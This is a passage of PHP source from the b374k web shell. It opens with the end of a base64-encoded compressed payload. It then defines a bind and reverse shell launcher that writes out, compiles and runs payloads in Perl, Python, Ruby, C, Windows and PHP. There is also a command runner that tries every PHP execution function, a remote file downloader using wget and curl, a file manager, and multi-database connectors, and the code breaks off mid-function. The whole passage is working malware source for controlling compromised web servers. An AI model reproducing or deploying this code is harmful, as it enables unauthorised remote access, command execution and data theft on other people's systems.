bY4dgxMwhbFT5HOmlK56DJR+zUNLELad8gaI4WMDpN8OfDhgpTHwCZ9cRp+adfyPp+in+RnEtBoGZuofYPdFBTJy3XNYEtE67SZt7yKFOvAVGl3WeZ3SVftK+vD3mdPYooCdfLHrKxaIHL9b52e7Vos9eLbg1X3ie80dMFkSWmNuVUZ0/mE3puFclEhxCHp80YyyHeFfBTKtWlQlM6xcgdHUM5TaGTkEhJEx2bFYb46OIeSdWwG1gLdFGVAa01GgrVNDaZ20Un+lAaMN8Nb7dYm4ifB6Gb++B/w9xoSQwSfaHXEcksbhzPOndWoeU/hxSbvjLUtBNhR9AF/6yDdxzpCpi0PO1HI1grtGHNZ7ws1R3wB8jiIesGoDEJpoC8IxJWg2y1Rb+ebeNtBairU755ilrFAp+Uh2WAK7EpBl0WwmgMJmKkn8o1jykPYGpKE8MsiVwZYgFIKPjMjbK3ORz/2p6sx4O+csX+ufVDPqh5896P1y9gFCQS7XO09oz/BT5X2VFEYITsAZUo86ArEgnzwy8sJBQxFQC+kwLKTJwqP3JS5N5ji4nWnxfeWSnDcL+/JJabhsi221j2TzdemGrysC0j1skx6ELXrxPV2tVsAP51uFkv9s9VgTEiFSVKWg7nsP5GRxWrBJZ2m+7en6dhnIep/D2XNRakeXXGdSCWO9dVCY25OsF1YM++HxT9J7g/4tBhE/5cXj9FH0CiMPg1fR3QKujqOpZwOIhxjtVB0CyERzSmpdjVGV4LeOjDmMq+5A9yPw1LHJJrQVq57U8rkZjvhpXyxHu3yeIjMbmZzSuizXH8UrfrWN6022DXsvl0WfrheCu8LIbO4Lj2oFivk7UuLyv8LrYKN+61Kl8OLWatEun9ne/GLRVU3u+P6LDCVQKQb9P2kVeideo0ezQ1kt3HkLOzSPwLsm4crl+usqdTz9DleT3Z2bjcMUgSn90OcdyFuSGhAZBUzo4QToIUBrkhhXXnPeDYOslO5aVswjaulqMBXtjV8Px/sLJgXXnZ/3ReLT1oh1tuoLUEPtPKX00VeHLGV2a1uWMhmWlSCFLXNafQZbMGTq9JcHhsB4O9TCkDqEascfeshdSrTL4S1ReWpWWU7SBwSiwBs0Jtgwry+9jJaxMXP5VrHyvSij1v4OXfIeXRqbgYS5feqQXsQWNaL0gYrfenEEKNpG015uT4SQAJ5vPPPjTg0CMSQwrB2bMjNpJFiEcpE39Pr7uFxEJIO2904/BHHKc+Y+C9vuA+WON2T+I2R+VkyUmPIaQFtEqod5N3BrfNPdzuje//mIj3YeMh9JWa+aQdKIH1g5+l8E/YzWIIcoUyk35fRxxleX+upD5TxHIEoIE3bFCquoba+PjxSDR2E8iW67wCRsYoMosoCJ8/E1BztL6kgk+vvVGQ/zi9wCpOlR3WYpIjXRE6jQzZSNaquus8MU2TzTkxPhJmLkmkc4eYMtvrNKnJz0WtrrEFjq/a3VPT0Yt8SWSBjXfKtetNyZssK8wVKhs9a88W3GgBNSznNivOho+mEJohng786Q+a9mJ044gem7BxBQmTBuMZozd4nvKbuvQta229RV4tJU9Tumwym7r+bycFzyFRPV6HeAX88X2J10igO63XCyAjVafNV3BE/VdlxDe5KR0Biox3uov6q6A24fb8fArM5zMO4sA3GQqw73+OTiSwEkjxalSQlPwlEigqNs9oJf+pvI4jY4qau0R8oJilcRQWjY/rUsvIpsKGnp6P9v6GiXmdYDrb6+TYL8Gt1Io9AgOOygUEg02lwwQwcqmKY9wYWnFQYFNNe0G3n0Wh50qkm6dQu+xkS1fCWb2PXbS9TKQeTOTrp5KwfTuyVbUBHgVOrwT/wU=";
  101.  
  102. // make link for folder $cwd and all of its parent folder
  103. function swd($p){
  104.     global $s_self;
  105.     $ps = explode(DIRECTORY_SEPARATOR,$p);
  106.     $pu = "";
  107.     for($i = 0 ; $i < sizeof($ps)-1 ; $i++){
  108.         $pz = "";
  109.         for($j = 0 ; $j <= $i ; $j++) $pz .= $ps[$j].DIRECTORY_SEPARATOR;
  110.         $pu .= "<a href='".$s_self."cd=".$pz."'>".$ps[$i]." ".DIRECTORY_SEPARATOR." </a>";
  111.     }
  112.     return trim($pu);
  113. }
  114. // htmlspecialchars, < > "
  115. function hss($t){
  116.     $n = array(">","<","\"");
  117.     $y = array("&gt;", "&lt;", "&quot;");
  118.     return str_replace($n,$y,$t);
  119. }
  120. // remove <br />tags
  121. function rp($t){
  122.     return trim(str_replace("<br />","",$t));
  123. }
  124. // replace spaces with underscore ( _ )
  125. function cs($t){
  126.     return str_replace(" ","_",$t);
  127. }
  128. // strip slashes,trim and urldecode
  129. function ss($t){
  130.     return (!get_magic_quotes_gpc())? trim(urldecode($t)) : trim(urldecode(stripslashes($t)));
  131. }
  132. // only strip slashes
  133. function ssc($t){
  134.     return (!get_magic_quotes_gpc())? trim($t) : trim(stripslashes($t));
  135. }
  136. // bind and reverse shell
  137. function rs($rstype,$rstarget,$rscode){
  138.     //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php
  139.     //resources $rs_pl $rs_py $rs_rb $rs_c $rs_win $rs_php
  140.     $result = "";
  141.     $fpath = "";
  142.     $fc = gzinflate(base64_decode($rscode));
  143.  
  144.     $errperm = "Directory ".getcwd().DIRECTORY_SEPARATOR." is not writable, please change to a writable one";
  145.     $errgcc = "Unable to compile using gcc";
  146.  
  147.     $split = explode("_",$rstype);
  148.     $method = $split[0];
  149.     $lang = $split[1];
  150.     if($lang=="py" || $lang=="pl" || $lang=="rb"){
  151.         if($lang=="py") $runlang = "python";
  152.         elseif($lang=="pl") $runlang = "perl";
  153.         elseif($lang=="rb") $runlang = "ruby";
  154.         $fpath = "b374k_rs.".$lang;
  155.         if(is_file($fpath)) unlink($fpath);
  156.         if($file=fopen($fpath,"w")){
  157.             fwrite($file,$fc);
  158.             fclose($file);
  159.             if(is_file($fpath)){
  160.                 $result = exe("chmod +x ".$fpath);
  161.                 $result = exe($runlang." ".$fpath." ".$rstarget);
  162.             }
  163.             else $result = $errperm;
  164.         }
  165.         else $result = $errperm;
  166.     }
  167.     elseif($lang=="c"){
  168.         $fpath = "b374k_rs";
  169.         if(is_file($fpath)) unlink($fpath);
  170.         if(is_file($fpath.".c")) unlink($fpath.".c");
  171.         if($file=fopen($fpath.".c","w")){
  172.             fwrite($file,$fc);
  173.             fclose($file);
  174.             if(is_file($fpath.".c")){
  175.                 $result = exe("gcc ".$fpath.".c -o ".$fpath);
  176.                 if(is_file($fpath)){
  177.                     $result = exe("chmod +x ".$fpath);
  178.                     $result = exe("./".$fpath." ".$rstarget);
  179.                 }
  180.                 else $result = $errgcc;
  181.             }
  182.             else $result = $errperm;
  183.         }
  184.         else $result = $errperm;
  185.     }
  186.     elseif($lang=="win"){
  187.         $fpath = "b374k_rs.exe";
  188.         if(is_file($fpath)) unlink($fpath);
  189.         if($file=fopen($fpath,"w")){
  190.             fwrite($file,$fc);
  191.             fclose($file);
  192.             if(is_file($fpath)){
  193.                 $result = exe($fpath." ".$rstarget);
  194.             }
  195.             else $result = $errperm;
  196.         }
  197.         else $result = $errperm;
  198.     }
  199.     elseif($lang=="php"){
  200.         $result = eval("?>".$fc);
  201.     }
  202.     if(is_file($fpath)) unlink($fpath);
  203.     if(is_file($fpath.".c")) unlink($fpath.".c");
  204.     return $result;
  205. }
  206. // format bit
  207. function ts($s){
  208.     if($s<=0) return 0;
  209.     $w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
  210.     $e = floor(log($s)/log(1024));
  211.     return sprintf('%.2f '.$w[$e], ($s/pow(1024, floor($e))));
  212. }
  213. // get file size
  214. function gs($f){
  215.     $s = @filesize($f);
  216.     if($s !== false){
  217.         if($s<=0) return 0;
  218.         return ts($s);
  219.     }
  220.     else return "???";
  221. }
  222. // get file permissions
  223. function gp($f){
  224.     if($m=@fileperms($f)){
  225.         $p = 'u';
  226.         if(($m & 0xC000) == 0xC000)$p = 's';
  227.         elseif(($m & 0xA000) == 0xA000)$p = 'l';
  228.         elseif(($m & 0x8000) == 0x8000)$p = '-';
  229.         elseif(($m & 0x6000) == 0x6000)$p = 'b';
  230.         elseif(($m & 0x4000) == 0x4000)$p = 'd';
  231.         elseif(($m & 0x2000) == 0x2000)$p = 'c';
  232.         elseif(($m & 0x1000) == 0x1000)$p = 'p';
  233.         $p .= ($m & 00400) ? 'r' : '-';
  234.         $p .= ($m & 00200) ? 'w' : '-';
  235.         $p .= ($m & 00100) ? 'x' : '-';
  236.         $p .= ($m & 00040) ? 'r' : '-';
  237.         $p .= ($m & 00020) ? 'w' : '-';
  238.         $p .= ($m & 00010) ? 'x' : '-';
  239.         $p .= ($m & 00004) ? 'r' : '-';
  240.         $p .= ($m & 00002) ? 'w' : '-';
  241.         $p .= ($m & 00001) ? 'x' : '-';
  242.         return $p;
  243.     }
  244.     else return "???????????";
  245. }
  246. // shell command
  247. function exe($c){
  248.     $out = "";
  249.     $c = $c." 2>&1";
  250.  
  251.     if(is_callable('system')) {
  252.         ob_start();
  253.         @system($c);
  254.         $out = ob_get_contents();
  255.         ob_end_clean();
  256.         if(!empty($out)) return $out;
  257.     }
  258.     if(is_callable('shell_exec')){
  259.         $out = @shell_exec($c);
  260.         if(!empty($out)) return $out;
  261.     }
  262.     if(is_callable('exec')) {
  263.         @exec($c,$r);
  264.         if(!empty($r)) foreach($r as $s) $out .= $s;
  265.         if(!empty($out)) return $out;
  266.     }
  267.     if(is_callable('passthru')) {
  268.         ob_start();
  269.         @passthru($c);
  270.         $out = ob_get_contents();
  271.         ob_end_clean();
  272.         if(!empty($out)) return $out;
  273.     }
  274.     if(is_callable('proc_open')) {
  275.         $descriptorspec = array(
  276.         0 => array("pipe", "r"),
  277.         1 => array("pipe", "w"),
  278.         2 => array("pipe", "w")
  279.         );
  280.         $proc = @proc_open($c, $descriptorspec, $pipes, getcwd(), array());
  281.         if (is_resource($proc)) {
  282.             while ($si = fgets($pipes[1])) {
  283.                 if(!empty($si)) $out .= $si;
  284.             }
  285.             while ($se = fgets($pipes[2])) {
  286.                 if(!empty($se)) $out .= $se;
  287.             }
  288.         }
  289.         @proc_close($proc);
  290.         if(!empty($out)) return $out;
  291.     }
  292.     if(is_callable('popen')){
  293.         $f = @popen($c, 'r');
  294.         if($f){
  295.             while(!feof($f)){
  296.                 $out .= fread($f, 2096);
  297.             }
  298.             pclose($f);
  299.         }
  300.         if(!empty($out)) return $out;
  301.     }
  302.     return "";
  303. }
  304. // add slash to the end of given path
  305. function cp($p){
  306.     if(is_dir($p)){
  307.         $x = DIRECTORY_SEPARATOR;
  308.         while(substr($p,-1) == $x) $p = rtrim($p,$x);
  309.         return $p.$x;
  310.     }
  311.     return $p;
  312. }
  313. // delete dir and all of its content (no warning !) xp
  314. function rmdirs($d){
  315.     $f = glob($d . '*', GLOB_MARK);
  316.     foreach($f as $z){
  317.         if(is_dir($z)) rmdirs($z);
  318.         else unlink($z);
  319.     }
  320.     if(is_dir($d)) rmdir($d);
  321. }
  322. // get array of all files from given directory
  323. function getallfiles($dir){
  324.     $f = glob($dir . '*');
  325.     for($i = 0; $i < count($f); $i++){
  326.         if(is_dir($f[$i])) {
  327.             $a = glob($f[$i].DIRECTORY_SEPARATOR.'*');
  328.             $f = array_merge($f, $a);
  329.         }
  330.     }
  331.     return $f;
  332. }
  333. // which command
  334. function xwhich($pr){
  335.     $p = exe("which $pr");
  336.     if(trim($p)!="") { return trim($p); } else { return trim($pr); }
  337. }
  338. // download file from internet
  339. function dlfile($u,$p){
  340.     $n = basename($u);
  341.  
  342.     // try using php functions
  343.     if($t = @file_get_contents($u)){
  344.         if(is_file($p)) unlink($p);;
  345.         if($f=fopen($p,"w")){
  346.             fwrite($f,$t);
  347.             fclose($f);
  348.             if(is_file($p)) return true;
  349.         }
  350.     }
  351.     // using wget
  352.     exe(xwhich('wget')." ".$u." -O ".$p);
  353.     if(is_file($p)) return true;
  354.  
  355.     // try using lwp-download
  356.     exe(xwhich('lwp-download')." ".$u." ".$p);
  357.     if(is_file($p)) return true;
  358.  
  359.     // try using lynx
  360.     exe(xwhich('lynx')." -source ".$u." > ".$p);
  361.     if(is_file($p)) return true;
  362.  
  363.     // try using curl
  364.     exe(xwhich('curl')." ".$u." -o ".$p);
  365.     if(is_file($p)) return true;
  366.  
  367.     return false;
  368. }
  369. // find writable dir
  370. function get_writabledir(){
  371.     if(is_writable(".")) $d = ".".DIRECTORY_SEPARATOR;
  372.     else{
  373.         if(!$d = getenv("TMP")) if(!$d = getenv("TEMP")) if(!$d = getenv("TMPDIR")){
  374.             if(is_writable("/tmp")) $d = "/tmp/";
  375.             else $d = getcwd().DIRECTORY_SEPARATOR;
  376.         }
  377.     }
  378.     return $d;
  379. }
  380. // zip function
  381. function zip($src, $dest){
  382.     if(!extension_loaded('zip') || !file_exists($src)) return false;
  383.  
  384.     if(class_exists("ZipArchive")){
  385.         $zip = new ZipArchive();
  386.         if(!$zip->open($dest, 1)) return false;
  387.  
  388.         $src = str_replace('\\', '/', $src);
  389.         if(is_dir($src)){
  390.             $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($src), 1);
  391.             foreach($files as $file){
  392.                 $file = str_replace('\\', '/', $file);
  393.                 if(in_array(substr($file, strrpos($file, '/')+1), array('.', '..'))) continue;
  394.                 if (is_dir($file) === true) $zip->addEmptyDir(str_replace($src . '/', '', $file . '/'));
  395.                 else if (is_file($file) === true) $zip->addFromString(str_replace($src . '/', '', $file), @file_get_contents($file));
  396.             }
  397.         }
  398.         elseif(is_file($src) === true) $zip->addFromString(basename($src), @file_get_contents($src));
  399.         $zip->close();
  400.         return true;
  401.     }
  402. }
  403. // check shell permission to access program
  404. function check_access($lang){
  405.     $s = 0;
  406.     switch($lang){
  407.         case "python":
  408.             $cek = strtolower(exe("python -h"));
  409.             if(strpos($cek,"usage")!==false) $s = 1;
  410.             break;
  411.         case "perl":
  412.             $cek = strtolower(exe("perl -h"));
  413.             if(strpos($cek,"usage")!==false) $s = 1;
  414.             break;
  415.         case "ruby":
  416.             $cek = strtolower(exe("ruby -h"));
  417.             if(strpos($cek,"usage")!==false) $s = 1;
  418.             break;
  419.         case "gcc":
  420.             $cek = strtolower(exe("gcc --help"));
  421.             if(strpos($cek,"usage")!==false) $s = 1;
  422.             break;
  423.         case "tar":
  424.             $cek = strtolower(exe("tar --help"));
  425.             if(strpos($cek,"usage")!==false) $s = 1;
  426.             break;
  427.         case "java":
  428.             $cek = strtolower(exe("javac --help"));
  429.             if(strpos($cek,"usage")!==false){
  430.                 $cek = strtolower(exe("java -h"));
  431.                 if(strpos($cek,"usage")!==false) $s = 1;
  432.             }
  433.             break;
  434.     }
  435.     return $s;
  436. }
  437. // find available archiver
  438. function get_archiver_available(){
  439.     global $s_self, $s_tar;
  440.     $dlfile = "";
  441.     $avail_arc = array("raw"=>"raw");
  442.  
  443.     if(class_exists("ZipArchive")){
  444.         $avail_arc["ziparchive"] = "zip";
  445.     }
  446.     if($s_tar){
  447.         $avail_arc["tar"] = "tar";
  448.         $avail_arc["targz"] = "tar.gz";
  449.     }
  450.  
  451.     $option_arc = "";
  452.     foreach($avail_arc as $t=>$u){
  453.         $option_arc .= "<option value=\"".$t."\">".$u."</option>";
  454.     }
  455.  
  456.     $dlfile .= "<form action='".$s_self."' method='post'>
  457.                 <select onchange='download(this);' name='dltype' class='inputzbut' style='width:80px;height:20px;'>
  458.                 <option value='' disabled selected>Download</option>
  459.                 ".$option_arc."
  460.                 </select>
  461.                 <input type='hidden' name='dlpath' value='__dlpath__' />
  462.                 </form>
  463.                 ";
  464.     return $dlfile;
  465. }
  466. // explorer, return a table of given dir
  467. function showdir($cwd){
  468.     global $s_self;
  469.  
  470.     $posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false;
  471.     $win = (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
  472.  
  473.     $fname = array();
  474.     $dname = array();
  475.  
  476.     if(function_exists("scandir") && $dh = @scandir($cwd)){
  477.         foreach($dh as $file){
  478.             if(is_dir($file)) $dname[] = $file;
  479.             elseif(is_file($file)) $fname[] = $file;
  480.         }
  481.     }
  482.     else{
  483.         if($dh = @opendir($cwd)){
  484.             while($file = readdir($dh)){
  485.                 if(is_dir($file)) $dname[] = $file;
  486.                 elseif(is_file($file))$fname[] = $file;
  487.             }
  488.             closedir($dh);
  489.         }
  490.     }
  491.  
  492.     sort($fname);
  493.     sort($dname);
  494.     $list = array_merge($dname,$fname);
  495.  
  496.     if($win){
  497.         //check if this root directory
  498.         chdir("..");
  499.         if(cp(getcwd())==cp($cwd)){
  500.             array_unshift($list, ".");
  501.         }
  502.         chdir($cwd);
  503.     }
  504.  
  505.     $path = explode(DIRECTORY_SEPARATOR,$cwd);
  506.     $tree = sizeof($path);
  507.  
  508.     $parent = "";
  509.     if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
  510.     else $parent = $cwd;
  511.  
  512.     $owner_html = (!$win && $posix) ? "<th style='width:120px;'>owner:group</th>" : "";
  513.     $buff = "
  514.     <table class='explore sortable'>
  515.     <tr><th>name</th><th style='width:60px;'>size</th>".$owner_html."<th style='width:70px;'>perms</th><th style='width:110px;'>modified</th><th style='width:180px;' class='sorttable_nosort'>action</th><th style='width:90px;' class='sorttable_nosort'>download</th></tr>
  516.     ";
  517.  
  518.     $arc = get_archiver_available();
  519.     foreach($list as $l){
  520.         if(!$win && $posix){
  521.             $name = posix_getpwuid(fileowner($l));
  522.             $group = posix_getgrgid(filegroup($l));
  523.             $owner = $name['name']."<span class='gaya'>:</span>".$group['name'];
  524.             $owner_html = "<td style='text-align:center;'>".$owner."</td>";
  525.         }
  526.  
  527.         $lhref = "";
  528.         $lname = "";
  529.         $laction = "";
  530.         if(is_dir($l)){
  531.             if($l=="."){
  532.                 $lhref = $s_self."cd=".$cwd;
  533.                 $lsize = "LINK";
  534.                 $laction = "
  535.                 <span id='titik1'>
  536.                     <a href='".$s_self."cd=".$cwd."&find=".$cwd."' title='find something'>find</a> |
  537.                     <a href='".$s_self."cd=".$cwd."&upload' title='upload'>upl</a> |
  538.                     <a href='".$s_self."cd=".$cwd."&edit=".$cwd."newfile_1&new' title='create new file'>+file</a> |
  539.                     <a href=\"javascript:tukar('titik1','titik1_form');\" title='create new directory'>+dir</a>
  540.                 </span>
  541.                 <div id='titik1_form' class='sembunyi'>
  542.                     <form action='".$s_self."' method='post'>
  543.                     <input type='hidden' name='cd' value=".$cwd."' />
  544.                     <input class='inputz' id='titik1_' style='width:80px;' type='text' name='mkdir' value='newfolder' />
  545.                     <input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Go !' />
  546.                     </form>
  547.                     <input class='inputzbut' type='button' value='x' onclick=\"tukar('titik1_form','titik1');\" />
  548.                 </div>";
  549.             }
  550.             elseif($l==".."){
  551.                 $lhref = $s_self."cd=".$parent;
  552.                 $lsize = "LINK";
  553.                 $laction = "
  554.                 <span id='titik2'>
  555.                     <a href='".$s_self."cd=".$parent."&find=".$parent."' title='find something'>find</a> |
  556.                     <a href='".$s_self."cd=".$parent."&upload' title='upload'>upl</a> |
  557.                     <a href='".$s_self."cd=".$parent."&edit=".$parent."newfile_1&new' title='create new file'>+file</a> |
  558.                     <a href=\"javascript:tukar('titik2','titik2_form');\" title='create new directory'>+dir</a>
  559.                 </span>
  560.                 <div id='titik2_form' class='sembunyi'>
  561.                     <form action='".$s_self."' method='post'>
  562.                     <input type='hidden' name='cd' value='".$parent."' />
  563.                     <input class='inputz' id='titik2_' style='width:80px;' type='text' name='mkdir' value='newfolder' />
  564.                     <input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Go !' />
  565.                     </form>
  566.                     <input class='inputzbut' type='button' value='x' onclick=\"tukar('titik2_form','titik2');\" />
  567.                 </div>";
  568.             }
  569.             else{
  570.                 $lhref = $s_self."cd=".$cwd.$l.DIRECTORY_SEPARATOR;
  571.                 $lsize = "DIR";
  572.                 $laction = "
  573.                 <span id='".cs($l)."_link'>
  574.                     <a href='".$s_self."cd=".$cwd.$l.DIRECTORY_SEPARATOR."&find=".$cwd.$l.DIRECTORY_SEPARATOR."' title='find something'>find</a> |
  575.                     <a href='".$s_self."cd=".$cwd.$l.DIRECTORY_SEPARATOR."&upload' title='upload'>upl</a> |
  576.                     <a href=\"javascript:tukar('".cs($l)."_link','".cs($l)."_form');\" title='rename'>ren</a> |
  577.                     <a href='".$s_self."cd=".$cwd."&del=".$l."' title='delete'>del</a>
  578.                 </span>
  579.                 <div id='".cs($l)."_form' class='sembunyi'>
  580.                     <form action='".$s_self."' method='post'>
  581.                     <input type='hidden' name='oldname' value='".$l."' />
  582.                     <input type='hidden' name='cd' value='".$cwd."' />
  583.                     <input class='inputz' style='width:80px;' type='text' id='".cs($l)."_link_' name='newname' value='".$l."' />
  584.                     <input class='inputzbut' type='submit' name='rename' value='ren' />
  585.                     </form>
  586.                     <input class='inputzbut' type='button' value='x' onclick=\"tukar('".cs($l)."_form','".cs($l)."_link');\" />
  587.                 </div>";
  588.             }
  589.             $lname = "[ ".$l." ]";
  590.             $lsizetit = "0";
  591.         }
  592.         else{
  593.             $lhref = $s_self."view=".$l;
  594.             $lname = $l;
  595.             $lsize = gs($l);
  596.             $lsizetit = @filesize($l);
  597.             $laction = "
  598.             <div id='".cs($l)."_form' class='sembunyi'>
  599.                 <form action='".$s_self."' method='post'>
  600.                 <input type='hidden' name='oldname' value='".$l."' />
  601.                 <input class='inputz' style='width:80px;' type='text' id='".cs($l)."_link_' name='newname' value='".$l."' />
  602.                 <input class='inputzbut' type='submit' name='rename' value='ren' />
  603.                 </form>
  604.                 <input class='inputzbut' type='button' value='x' onclick=\"tukar('".cs($l)."_form','".cs($l)."_link');\" />
  605.             </div>
  606.             <span id='".cs($l)."_link'>
  607.                 <a href='".$s_self."edit=".cs($cwd.$l)."' title='edit'>edit</a> |
  608.                 <a href='".$s_self."hexedit=".cs($cwd.$l)."' title='edit as hex'>hex</a> |
  609.                 <a href=\"javascript:tukar('".cs($l)."_link','".cs($l)."_form');\" title='rename'>ren</a> |
  610.                 <a href='".$s_self."del=".$l."' title='delete'>del</a>
  611.             </span>";
  612.         }
  613.  
  614.         $ldl = str_replace("__dlpath__",$l,$arc);
  615.         $buff .= "
  616.         <tr>
  617.         <td class='explorelist' onmouseup=\"return go('".addslashes($lhref)."',event);\">
  618.             <a href='".$lhref."'>".$lname."</a>
  619.         </td>
  620.         <td title='".$lsizetit."'>".$lsize."</td>
  621.         ".$owner_html."
  622.         <td style='text-align:center;'>".gp($l)."</td>
  623.         <td style='text-align:center;'>".@date("d-M-Y H:i",filemtime($l))."</td>
  624.         <td>".$laction."</td>
  625.         <td>".$ldl."</td></tr>";
  626.     }
  627.     $buff .= "</table>";
  628.     return $buff;
  629. }
  630. //database related functions
  631. function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
  632.     if($sqltype == 'mysql'){if(function_exists('mysql_connect')) return @mysql_connect($sqlhost,$sqluser,$sqlpass);}
  633.     elseif($sqltype == 'mssql'){
  634.         if(function_exists('mssql_connect')) return @mssql_connect($sqlhost,$sqluser,$sqlpass);
  635.         elseif(function_exists('sqlsrv_connect')){
  636.             $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
  637.             return @sqlsrv_connect($sqlhost,$coninfo);
  638.         }
  639.     }
  640.     elseif($sqltype == 'pgsql'){
  641.         $hosts = explode(":", $sqlhost);
  642.         if(count($hosts)==2){
  643.             $host_str = "host=".$hosts[0]." port=".$hosts[1];
  644.         }
  645.         else $host_str = "host=".$sqlhost;
  646.         if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
  647.     }
  648.     elseif($sqltype == 'oracle'){if(function_exists('oci_connect')) return @oci_connect($sqluser,$sqlpass,$sqlhost);}
  649.     elseif($sqltype == 'sqlite3'){
  650.         if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
  651.         else return false;
  652.     }
  653.     elseif($sqltype == 'sqlite'){if(function_exists('sqlite_open')) return @sqlite_open($sqlhost);}
  654.     elseif($sqltype == 'odbc'){if(function_exists('odbc_connect')) return @odbc_connect($sqlhost,$sqluser,$sqlpass);}
  655.     elseif($sqltype == 'pdo'){
  656.         if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost,$sqluser,$sqlpass);
  657.         else return false;
  658.     }
  659. }
  660. function sql_query($sqltype, $query, $con){
  661.     if($sqltype == 'mysql'){if(function_exists('mysql_query')) return mysql_query($query);}
  662.     elseif($sqltype == 'mssql'){
  663.         if(function_exists('mssql_query')) return mssql_query($query);
  664.         elseif(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
  665.     }
  666.     elseif($sqltype == 'pgsql'){if(function_exists('pg_query')) return pg_query($query);}
  667.     elseif($sqltype == 'oracle'){
  668.         if(function_exists('oci_parse') && function_exists('oci_execute')){
  669.             $st = oci_parse($con, $query);
  670.             oci_execute($st);
  671.             return $st;
  672.         }
  673.     }
  674.     elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $con->query($query);}
  675.     elseif($sqltype == 'sqlite'){if(function_exists('sqlite_query')) return sqlite_query($con, $query);}
  676.     elseif($sqltype == 'odbc'){if(function_exists('odbc_exec')) return odbc_exec($con, $query);}
  677.     elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $con->query($query);}
  678. }
  679. function sql_num_fields($sqltype, $hasil){
  680.     if($sqltype == 'mysql'){if(function_exists('mysql_num_fields')) return mysql_num_fields($hasil);}
  681.     elseif($sqltype == 'mssql'){
  682.         if(function_exists('mssql_num_fields')) return mssql_num_fields($hasil);
  683.         elseif(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($hasil);
  684.     }
  685.     elseif($sqltype == 'pgsql'){if(function_exists('pg_num_fields')) return pg_num_fields($hasil);}
  686.     elseif($sqltype == 'oracle'){if(function_exists('oci_num_fields')) return oci_num_fields($hasil);}
  687.     elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $hasil->numColumns();}
  688.     elseif($sqltype == 'sqlite'){if(function_exists('sqlite_num_fields')) return sqlite_num_fields($hasil);}
  689.     elseif($sqltype == 'odbc'){if(function_exists('odbc_num_fields')) return odbc_num_fields($hasil);}
  690.     elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $hasil->columnCount();}
  691. }
  692. function sql_field_name($sqltype,$hasil,$i){
  693.     if($sqltype == 'mysql'){if(function_exists('mysql_field_name')) return mysql_field_name($hasil,$i);}
  694.     elseif($sqltype == 'mssql'){
  695.         if(function_exists('mssql_field_name')) return mssql_field_name($hasil,$i);
  696.         elseif(function_exists('sqlsrv_field_metadata')){
  697.             $metadata = sqlsrv_field_metadata($hasil);
  698.             if(is_array($metadata)){
  699.                 $metadata=$metadata[$i];
  700.             }
  701.             if(is_array($metadata)) return $metadata['Name'];
  702.         }
  703.     }
  704.     elseif($sqltype == 'pgsql'){if(function_exists('pg_field_name')) return pg_field_name($hasil,$i);}
  705.     elseif($sqltype == 'oracle'){if(function_exists('oci_field_name')) return oci_field_name($hasil,$i+1);}
  706.     elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $hasil->columnName($i);}
  707.     elseif($sqltype == 'sqlite'){if(function_exists('sqlite_field_name')) return sqlite_field_name($hasil,$i);}
  708.     elseif($sqltype == 'odbc'){if(function_exists('odbc_field_name')) return odbc_field_name($hasil,$i+1);}
  709.     elseif($sqltype == 'pdo'){
  710.         if(class_exists('PDO')){
  711.             $res = $hasil->getColumnMeta($i);
  712.             return $res['name'];
  713.         }
  714.     }
  715. }
  716. function sql_fetch_data($sqltype,$hasil){
  717.     if($sqltype == 'mysql'){if(function_exists('mysql_fetch_row')) return mysql_fetch_row($hasil);}
  718.     elseif($sqltype == 'mssql'){
  719.         if(function_exists('mssql_fetch_row')) return mssql_fetch_row($hasil);
  720.         elseif(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($hasil,1);
  721.     }
  722.     elseif($sqltype == 'pgsql'){if(function_exists('pg_fetch_row')) return pg_fetch_row($hasil);}
  723.     elseif($sqltype == 'oracle'){if(function_exists('oci_fetch_row')) return oci_fetch_row($hasil);}
  724.     elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $hasil->fetchArray(1);}
  725.     elseif($sqltype == 'sqlite'){if(function_exists('sqlite_fetch_array')) return sqlite_fetch_array($hasil,1);}
  726.     elseif($sqltype == 'odbc'){if(function_exists('odbc_fetch_array')) return odbc_fetch_array($hasil);}
  727.     elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $hasil->fetch(2);}
  728. }
  729. function sql_num_rows($sqltype,$hasil){
  730.     if($sqltype == 'mysql'){if(function_exists('mysql_num_rows')) return mysql_num_rows($hasil);}
  731.     elseif($sqltype == 'mssql'){
  732.         if(function_exists('mssql_num_rows')) return mssql_num_rows($hasil);
  733.         elseif(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($hasil);
  734.     }
  735.     elseif($sqltype == 'pgsql'){if(function_exists('pg_num_rows')) return pg_num_rows($hasil);}
  736.     elseif($sqltype == 'oracle'){if(function_exists('oci_num_rows')) return oci_num_rows($hasil);}
  737.     elseif($sqltype == 'sqlite3'){
  738.         if(class_exists('SQLite3')){
  739.             $metadata = $hasil->fetchArray();
  740.             if(is_array($metadata)) return $metadata['count'];
  741.         }
  742.     }
  743.     elseif($sqltype == 'sqlite'){if(function_exists('sqlite_num_rows')) return sqlite_num_rows($hasil);}
  744.     elseif($sqltype == 'odbc'){if(function_exists('odbc_num_rows')) return odbc_num_rows($hasil);}
  745.     elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $hasil->rowCount();}
  746. }
  747. function sql_close($sqltype,$con){
